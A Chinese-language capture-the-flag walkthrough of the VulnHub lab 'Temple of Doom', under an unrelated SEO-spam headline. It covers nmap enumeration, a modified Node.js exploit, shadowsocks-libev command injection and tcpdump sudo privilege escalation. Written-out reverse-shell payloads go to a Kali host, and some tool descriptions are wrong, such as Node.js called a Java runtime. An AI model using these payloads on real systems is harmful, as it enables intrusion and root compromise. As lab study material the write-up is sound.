郑州开发小程序多少钱重庆网页优化seo公司
下载链接:
Temple of Doom: 1 ~ VulnHub
 下载完成后直接在vxbox中导入即可,网络链接模式根据自身情况而定(我采用的桥接模式)
正文:
先用nmap进行扫描靶机ip
nmap -sn 192.168.1.1/24 

 对192.168.1.5进行端口探测,并将结果保存到Temple文件夹下命名为port
nmap -p- 192.168.1.5 -r -PN -oA Temple/port 
 (-p-:对所有端口进行探测
-PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标
-oA:输出到指定位置
     -r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。
 )
nmap -p 22,666 192.168.1.5 -sC -sV -r -O --version-all -A -oA Temple/server 
(-p:对指定的端口进行探测
-sV:版本信息
-sC:默认脚本扫描
-A:启动Os检测,版本检测,脚本扫描和traceroute
-O:探测操作系统信息
   --version-all:尽可能多的探测信息)
    我们发现并没有80端口
    但是666端口为http服务,并且是node.js(java运行环境)
    对666端口进行访问
    除了这个就没有其他提示
    使用bp抓包看能不能有发现
    发现给到的cookie可能有猫腻(进行了加密)
    将cookie进行base64解码
    得到信息:
    {"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}
    该数据目前来说并没有多大作用
    获取shell
 
   根据nmap结果 在kali中搜索nodejs漏洞,看有没有可以用来利用的poc
   
 searchsploit nodejs 

    符合我们要求的就是这个49552.py,将该文件复制出来,并进行查看
    
searchsploit nodejs -m 49552 

    
cat 49552.py 

   对该exp进行修改
    
vim 49552.py 

    将url改为靶场host,并将反弹shell改为kali机的ip以及端口
    保存退出
   新建窗口,并对修改后的端口进行监听(我这里改为了8080)
 nc -lvvp 8080 

  python2 49552.py #python3运行会因为兼容问题报错 

   回到nc监听窗口,反弹shell成功
   查找具有suid权限的文件,看能否进行提权
  
 find / -perm -u=s -type f 2>/dev/null 

   经过一番查看以及对计划任务查看,并没有我们可以利用的东西
   但是我们在家目录发现了另一个用户
   我们查看下该用户的进程有没有可以利用的东西
   提权
 
ps aux | grep fireman 

   经过查询,该文件为多用户管理面板,并且有任意代码执行漏洞
   详情可以看这篇文章【漏洞预警】 SHADOWSOCKS-LIBEV 命令执行漏洞|NOSEC安全讯息平台 - 白帽汇安全研究院
   
  在当前shell中 用nc监听本地的8839端口(UDP)(不是返回到kali新窗口中)
nc -u 127.0.0.1 8839 

 使用一下命令进行尝试看是否生效,该命令如果执行成功会在/tmp目录下创建evil文件
add: {"server_port":8003, "password":"test", "method":"||touch /tmp/evil||"} 


 命令执行成功
 因为该文件(ss-manager)为fireman用户所有,所以我们可以利用该漏洞再次进行反弹shell操作
 这样我们就可以获取到fireman用户
更改代码后方的创建文件命令替换为反弹shell命令进行尝试
 在kali中打开新窗口进行监听(未被占用的端口)
nc -lvvp 7789 
 在刚才的shell窗口输入
add: {"server_port":8003, "password":"test", "method":"||sh -i >& /dev/tcp/192.168.1.4/7789 0>&1||"} 
 (不要忘记该代码后的 “ || ”)
 反弹成功,并且用户为fireman
 查看可以root权限运行的文件(之前用户并不具有该权限)
sudo -l 

 发现该文件具有tcpdump权限(可以在该网站中查询使用方法以及其他命令的提权方式。包括但不仅限于suid、sudoGTFOBins)
根据内容我们来进行提权($符号为变量符号,需要我们根据自己的需求进行更改)
 该提权方法同样也是通过反弹shell进行提权
 先在文件中写入反弹shell(同样需要一个未被占用的端口进行监听)
 将文件写入到/tmp目录下(该目录下通常权限较高)
echo "sh -i >& /dev/tcp/192.168.1.4/2233 0>&1" > /tmp/shell.sh 

 并给该文件运行权限
chmod +x shell.sh 
 利用tcpdump文件进行运行(需要提前打开nc对2233端口进行监听)
nc -lvvp 2233 

 我们需要对提供的命令进行小幅度修改
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root 
 改为
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root 
 (解释:网络接口 (`-i`参数):第一个命令(`sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root`)使用的是`lo`(本地回环)网络接口进行数据包捕获,而第二个命令(sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root)使用的是`eth0`网络接口进行数据包捕获。`eth0`一般是指物理网卡接口,而`lo`是指本地回环接口,用于本地通信)
 所以我们采用修改后的命令
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root 


 提权成功
用修改前的命令同样可以提权成功,但是原理比较复杂
 同样打开nc监听2233端口
nc -lvvp 2233 
 打开fireman窗口,这次我们输入第一条命令
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root 

 此时两个窗口都没有反应,返回到我们最初的用户窗口
 即该窗口,我们可以看到当我们使用ss-manager文件进行反弹shell时并没有返回”ok“,然后我们需要将fireman的shell断开(ctrl+c),,该位置才会返回”ok“
 此时,我们再返回到最后的监听窗口会发现反弹shell成功
 具体的原理我还是跟模糊,希望有大佬可以解答一下,我个人猜测应该是我们第一次反弹fireman用户的shell时没有断开就再次利用该用户反弹root的shell会造成一个占用吧.....所以nc会一直进行监听,但是fireman用户因为是占用状态所以没有办法进行反弹(个人猜测,希望大佬指正!)
